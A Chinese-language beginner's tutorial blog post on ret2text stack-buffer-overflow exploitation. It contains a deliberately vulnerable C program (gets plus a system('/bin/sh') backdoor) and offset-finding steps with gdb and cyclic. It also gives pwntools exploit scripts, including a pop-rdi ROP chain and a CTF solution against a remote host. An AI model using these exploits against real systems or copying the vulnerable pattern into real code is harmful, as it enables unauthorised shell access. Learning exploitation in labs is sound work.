学习pwn的第三天,今天是ret2text。
目录
基础
ret2text就是ROP中最简单的,然后的意思就是我们利用栈溢出,来修改eip的值,让他输出的时候,输出我们想要执行的本身已有的代码,通常都是/bin/sh、sh、$0,$0可以在自己本地echo一下就知道是什么了
但是64位还是有一些不一样的,他执行函数都会有一个rdi,64位中我们是要更改rdi的值的。
实例讲解
这里是我们的示例代码,因为gets中的值,我们是可以自己随便定义的,但是gets可以接收无限的值,所以这里一定是存在溢出,所以通常gets函数的值,我们可以自己定义,通常都是存在溢出的。
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
void secure(void) {
int secretcode, input;
srand(time(NULL));
secretcode = rand();
scanf("%d", &input);
if (input == secretcode)
system("/bin/sh");
}
int main(void) {
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 1, 0LL);
char s[100];
puts("shu ru ni de zhi?");
gets(s);
printf("yes yes yes");
return 0;
}
gcc -z noexecstack -no-pie -z norelro -fno-stack-protector 04.c -o 4
编译好,这里使用checksec查看知道了只开启了NX,这里是64位的,接下来使用ida查看。
这里我们发现main中存在gets函数而且,我们可以自定义就注定了溢出,然后接下来就是计算偏移量就是成员变量和rbp一共的值,这里ida已经告诉我们了,这里距离rbp 0x70,就是112,然后64位中的rbp是8个字节,所以一共是120个。
接下来,然后再secure方法中,我们发现了一个后门,这里可以看到这里有了rdi、/bin/sh、system,就是/bin/sh先被压入栈然后被system执行,所以我们可以直接溢出定位到这里就可以了直接获得shell了。
但是注意在ida中获取的偏移量不一定正确,这里去ubuntu中动态调试一下,使用gdb打开,我们首先使用cyclic生成一个200长度的字符串,我们直接run,然后输入值
这里是溢出,但是我们没有获得一个返回的一个错误的地址,就不能使用cyclic计算偏移量了,这里还有一种方法就是直接试。
这里我们使用cyclic生成一个120长度的字符串,输入进去,这里看到他是溢出,但是少一个他就没有溢出了,所以这样也可以确定偏移量。
from pwn import *
context.log_level = 'debug'
#打开一个新的进程
p = process("./4")
#这里是/bin/sh压入栈的那里的真实地址
sh = 0x000000000040127B
payload = b'a'*(0x70+8) + p64(sh)
# 检测到值才发送payload
p.sendlineafter('zhi?\n',payload)
p.interactive()
但是这里可能会遇到用不了的情况,或者真实的时候system和/bin/sh并没有在一起,这样就可以使用另一种方法了,接下来介绍一个很好用的工具ROPgadget,这个是需要自己下的。
这里4是我们编译好的文件不是什么参数哦,然后后面查找/bin/sh
ROPgadget --binary 4 --string "/bin/sh"
这里我们就获得了/bin/sh的真实地址了,然后使用ROPgadget来获得rdi的真实地址
ROPgadget --binary 4 --only "pop|ret"
接下来就可以写脚本了
from pwn import *
context.log_level = 'debug'
# 新建一个进程
p = process("./4")
# 获取文件句柄
elf = ELF('./4')
# 这里直接从plt表直接获得system函数
system_plt = elf.plt['system']
# 这里是我们获得/bin/sh的值
sh = 0x0000000000402007
# 这个是我们获得rdi的值
rdi = 0x0000000000401373
# 这个是main函数ret的地址
ret = 0x0000000000401306
payload = b'a'*(0x70+8) + p64(ret) + p64(rdi) + p64(sh) + p64(system_plt)
p.sendlineafter('zhi?',payload)
p.interactive()
其实这里你可以发现和这里好像,溢出以后先return到rdi然后压入/bin/sh,最后使用system函数执行。
实例讲解2
这里我们先把东西下过来,使用ida看看
main是直接进入func方法的,这里直接去func方法中看看。
这里存在gets而且是我们可以自定义的,这样就是存在溢出了,然后看看偏移量,就是0x30加上rbp的值就是8,0x30+8=56,这里在ubuntu调试看看。
这里看到56个的时候就溢出了,但是少一个就没有溢出了,所以可以确定偏移量就是56了
这里我们现在本地调试一下
from pwn import *
p = process("./PWN1")
#p = remote("1.14.71.254",28894)
off = 0x30 + 8
sh = 0x00000000004006BE
payload = b'a'*off + p64(sh)
p.sendlineafter('number.\n',payload)
p.interactive()
这里看到是直接读取了根目录的flag了,那么将上面remote的注释去掉,然后把process注释掉就可以了。